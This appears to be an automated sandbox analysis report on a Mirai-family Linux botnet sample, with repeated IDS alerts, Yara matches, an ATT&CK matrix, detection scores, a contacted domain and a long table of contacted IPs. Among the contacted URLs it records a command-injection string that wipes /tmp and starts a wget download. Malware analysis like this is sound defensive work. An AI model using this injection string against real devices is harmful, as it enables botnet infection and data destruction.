Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: z0r0.m68k.elf, type: SAMPLE
Source: Yara match	File source: 5478.1.00007f0b10001000.00007f0b10013000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5482.1.00007f0b10001000.00007f0b10013000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z0r0.m68k.elf PID: 5478, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z0r0.m68k.elf PID: 5482, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z0r0.m68k.elf	67%	Virustotal		Browse
z0r0.m68k.elf	66%	ReversingLabs	Linux.Trojan.Mirai
z0r0.m68k.elf	100%	Avira	EXP/ELF.Gafgyt.T

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tojaubec.shop	92.118.56.203	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	z0r0.m68k.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	z0r0.m68k.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
203.54.65.73	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
156.38.239.182	unknown	South Africa	37153	xneeloZA	false
41.6.232.113	unknown	South Africa	29975	VODACOM-ZA	false
197.240.131.142	unknown	unknown	37705	TOPNETTN	false
41.72.33.65	unknown	Angola	37155	NETONEAO	false
41.45.223.131	unknown	Egypt	8452	TE-ASTE-ASEG	false
99.47.90.244	unknown	United States	7018	ATT-INTERNET4US	false
41.68.96.130	unknown	Egypt	24835	RAYA-ASEG	false
83.123.190.185	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
197.26.6.227	unknown	Tunisia	37492	ORANGE-TN	false
184.103.39.255	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
156.253.43.23	unknown	Seychelles	132422	TELECOM-HKHongKongTelecomGlobalDataCentreHK	false
140.177.25.154	unknown	United States	25660	CTCUS	false
101.84.169.45	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
41.145.34.79	unknown	South Africa	5713	SAIX-NETZA	false
86.17.1.179	unknown	United Kingdom	5089	NTLGB	false
8.133.115.153	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
164.26.120.21	unknown	Germany	29355	KCELL-ASKZ	false
41.145.255.185	unknown	South Africa	5713	SAIX-NETZA	false
150.239.155.45	unknown	United States	36351	SOFTLAYERUS	false
118.210.249.223	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
99.255.49.72	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
197.2.168.169	unknown	Tunisia	37705	TOPNETTN	false
156.127.187.74	unknown	United States	393504	XNSTGCA	false
113.21.58.178	unknown	Japan	17534	NSKNSKCoLtdJP	false
79.174.142.41	unknown	Germany	48173	UNBELIEVABLE-ASDE	false
156.143.35.213	unknown	United States	14319	FURMAN-2US	false
136.140.53.236	unknown	United States	60311	ONEFMCH	false
44.89.244.221	unknown	United States	7377	UCSDUS	false
41.7.94.184	unknown	South Africa	29975	VODACOM-ZA	false
41.122.213.90	unknown	South Africa	16637	MTNNS-ASZA	false
95.66.84.226	unknown	Kuwait	42961	GPRS-ASZAINKW	false
129.22.45.51	unknown	United States	32666	CWRU-AS-1US	false
12.15.101.222	unknown	United States	32328	ALASCOM-IP-MANAGED-NETWORKUS	false
35.152.127.15	unknown	United States	16509	AMAZON-02US	false
197.234.167.168	unknown	South Africa	37315	CipherWaveZA	false
93.91.151.18	unknown	Czech Republic	47232	ISPALLIANCECZ	false
188.149.22.108	unknown	Norway	39651	COMHEM-SWEDENSE	false
216.1.118.195	unknown	United States	27325	ZCOLO-AUS01US	false
160.11.1.73	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
216.147.99.196	unknown	United States	11022	ALABANZA-BALTUS	false
23.145.10.95	unknown	Reserved	394592	DDAF-ASNUS	false
45.228.166.254	unknown	Brazil	267066	FLASHNETEMPREENDIMENTOSLTDABR	false
41.12.83.172	unknown	South Africa	29975	VODACOM-ZA	false
197.184.139.233	unknown	South Africa	37105	NEOLOGY-ASZA	true
128.121.236.111	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
138.9.240.16	unknown	United States	18663	UOP-ASUS	false
25.199.63.35	unknown	United Kingdom	7922	COMCAST-7922US	false
194.66.241.116	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
52.235.30.64	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
83.168.127.248	unknown	Poland	31304	ESPOL-ASPL	false
156.99.254.187	unknown	United States	1998	STATE-OF-MNUS	false
62.186.69.99	unknown	European Union	34456	RIALCOM-ASRU	false
74.192.132.55	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
38.143.107.136	unknown	United States	36126	RNESUS	false
219.120.255.200	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
13.4.160.204	unknown	United States	33631	PARC-ASNUS	false
41.9.179.7	unknown	South Africa	29975	VODACOM-ZA	false
205.247.66.240	unknown	United States	3257	GTT-BACKBONEGTTDE	false
88.146.190.53	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
161.199.122.206	unknown	United States	397820	NGPVAN-001US	false
32.64.215.247	unknown	United States	2686	ATGS-MMD-ASUS	false
192.41.123.141	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
32.186.218.34	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
211.165.162.181	unknown	China	9389	UNSPECIFIEDBEIJINGSHENZHOUGREATWALLCOMMUNICATIONCN	false
172.159.109.59	unknown	United States	7018	ATT-INTERNET4US	false
81.235.23.68	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
41.226.118.45	unknown	Tunisia	37705	TOPNETTN	false
69.13.247.212	unknown	United States	54489	CORESPACE-DALUS	false
46.78.19.164	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
156.14.91.238	unknown	Italy	137	ASGARRConsortiumGARREU	false
168.135.35.179	unknown	United States	1221	ASN-TELSTRATelstraCorporationLtdAU	false
210.209.132.183	unknown	Taiwan; Republic of China (ROC)	17809	VEETIME-TW-APVEETIMECORPTW	false
91.250.181.216	unknown	Spain	12479	UNI2-ASES	false
122.19.162.205	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
156.80.44.92	unknown	United States	393649	BOOZ-AS2US	false
34.247.50.69	unknown	United States	16509	AMAZON-02US	false
182.137.131.111	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
181.93.129.220	unknown	Argentina	7303	TelecomArgentinaSAAR	false
106.42.32.247	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
46.126.10.182	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
197.117.202.193	unknown	Algeria	36947	ALGTEL-ASDZ	false
112.191.161.234	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.242.158.95	unknown	unknown	328594	SUDATCHAD-ASTD	false
156.109.179.138	unknown	United States	36081	STATE-OF-COLORADO-MNT-NETWORKUS	false
197.231.80.95	unknown	Gabon	37582	ANINFGA	false
148.140.125.87	unknown	Norway	3246	TDCSONGTele2BusinessTDCSwedenSE	false
105.143.72.214	unknown	Morocco	6713	IAM-ASMA	false
197.195.100.234	unknown	Egypt	36992	ETISALAT-MISREG	false
156.204.73.155	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.108.43.30	unknown	South Africa	37168	CELL-CZA	false
132.112.105.25	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
18.110.255.3	unknown	United States	3	MIT-GATEWAYSUS	false
85.83.182.178	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
197.75.233.70	unknown	South Africa	16637	MTNNS-ASZA	false
42.251.164.164	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
18.198.87.236	unknown	United States	16509	AMAZON-02US	false
197.190.151.192	unknown	Ghana	37140	zain-asGH	false
181.43.42.72	unknown	Chile	6471	ENTELCHILESACL	false
90.147.229.247	unknown	Italy	137	ASGARRConsortiumGARREU	false

Joe Sandbox View / Context

IPs

